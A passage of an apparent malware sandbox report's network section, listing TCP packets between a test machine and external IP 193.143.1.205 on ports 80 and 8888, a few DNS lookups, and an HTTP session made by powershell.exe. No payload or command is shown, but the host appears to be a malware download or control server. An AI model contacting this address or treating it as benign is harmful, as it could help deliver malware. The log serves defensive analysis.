Jan 10, 2025 22:50:37.235833883 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235841036 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.235842943 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235842943 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235887051 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.235887051 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.236057997 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236068964 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236080885 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236093998 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236107111 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236119032 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236121893 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.236121893 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.236130953 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236146927 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236164093 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.236164093 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.236275911 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236289024 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236309052 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.236455917 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236468077 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236479998 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236495018 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236500978 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.236506939 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236519098 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236531973 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236542940 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236553907 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.236553907 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.236560106 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236563921 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236567974 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236583948 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.236613035 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.236924887 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236938000 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236948967 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236963987 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236969948 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.236985922 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.237025976 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.237102985 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237116098 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237127066 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237139940 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237143993 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.237153053 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237165928 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237170935 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.237178087 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237185955 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.237190962 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237201929 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237215042 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237230062 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237255096 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.237255096 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.237437963 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.237518072 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237530947 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237544060 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237555981 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237564087 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.237567902 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237575054 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237624884 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.237624884 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.237818003 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237828970 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.237868071 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.263897896 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.263958931 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.263971090 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.264019966 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.264033079 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.264045954 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.264059067 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.264059067 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.264118910 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.311964035 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312002897 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312017918 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312071085 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312088013 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312119961 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.312156916 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.312170029 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312180042 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312194109 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312222004 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.312261105 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312263966 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.312289000 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312302113 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312325954 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.312408924 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312427044 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312436104 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312449932 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.312472105 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312496901 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312532902 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.312532902 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.312613010 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312623978 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312634945 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312647104 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312658072 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312661886 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.312669039 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312681913 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312725067 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.312725067 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.312792063 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.312834978 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.334131956 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.340439081 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353049994 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353070021 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353142977 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353162050 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353164911 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353202105 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353214979 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353230953 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353259087 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353281975 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353307009 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353323936 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353339911 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353384018 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353398085 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353409052 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353444099 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353444099 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353497028 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353579998 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353594065 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353616953 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353673935 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353696108 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353707075 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353740931 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353740931 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353763103 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353776932 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353821993 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353848934 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353859901 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353899956 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.353929996 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.353990078 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354001045 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354032993 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.354101896 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354108095 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354114056 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354120970 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354204893 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.354286909 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354299068 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354316950 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354329109 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354332924 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.354340076 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354351044 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354362965 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.354362965 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.354520082 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354532003 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354545116 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354557037 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354569912 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354583979 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.354597092 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.354621887 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.354707956 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354720116 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354729891 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354744911 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354752064 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.354767084 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.354804039 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.355029106 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355041027 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355052948 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355072021 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355078936 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.355086088 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355098009 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355106115 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.355115891 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355128050 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355134010 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.355134964 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355148077 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355159998 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355205059 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.355205059 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.355205059 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.355447054 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355465889 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355479002 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355484962 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355490923 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355496883 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355501890 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355508089 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355514050 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355524063 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355531931 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355537891 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355544090 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355550051 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355556011 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355556011 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.355561972 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355567932 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.355700016 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.356157064 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356168985 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356180906 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356193066 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356204033 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356215000 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356219053 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.356219053 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.356230021 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356250048 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356257915 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356260061 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356261969 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356267929 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356271029 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356286049 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356293917 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.356293917 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.356378078 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.356637955 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356651068 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356662035 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356673002 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356678963 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.356688023 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356693983 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356703997 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.356717110 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.356750965 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.356750965 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.404665947 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.404681921 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.404694080 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.404830933 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.404834986 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.404840946 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.404854059 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.404882908 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.404937983 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.404963017 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.404974937 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.404987097 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405000925 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405034065 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.405034065 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.405112982 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405126095 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405138016 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405155897 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405164957 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405165911 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405180931 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.405232906 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.405401945 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405415058 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405427933 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405440092 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405452013 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.405473948 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.405531883 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.422574997 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.445544004 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445575953 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445612907 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.445672035 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445698977 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445718050 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445727110 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.445734024 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445751905 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445770025 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445789099 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445791960 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.445791960 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.445804119 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445821047 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445837021 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445837021 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.445852995 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445862055 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.445869923 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.445892096 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.446003914 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.446019888 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.446038008 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.446055889 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.446075916 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.446075916 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.446150064 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.446165085 CET	80	49765	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:37.446196079 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.488388062 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.502576113 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.509193897 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:37.710314035 CET	49765	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:39.111443043 CET	49788	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:39.116327047 CET	8888	49788	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:39.116533995 CET	49788	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:39.117515087 CET	49788	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:39.122797966 CET	8888	49788	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:39.914927006 CET	8888	49788	193.143.1.205	192.168.2.9
Jan 10, 2025 22:50:39.957093000 CET	49788	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 22:50:39.964150906 CET	49788	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:50:47.653716087 CET	58796	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:50:47.653716087 CET	192.168.2.9	1.1.1.1	0xedea	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:50:47.660825968 CET	1.1.1.1	192.168.2.9	0xedea	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:50:48.368120909 CET	1.1.1.1	192.168.2.9	0xccc4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:50:48.368120909 CET	1.1.1.1	192.168.2.9	0xccc4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49765	193.143.1.205	80	7832	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

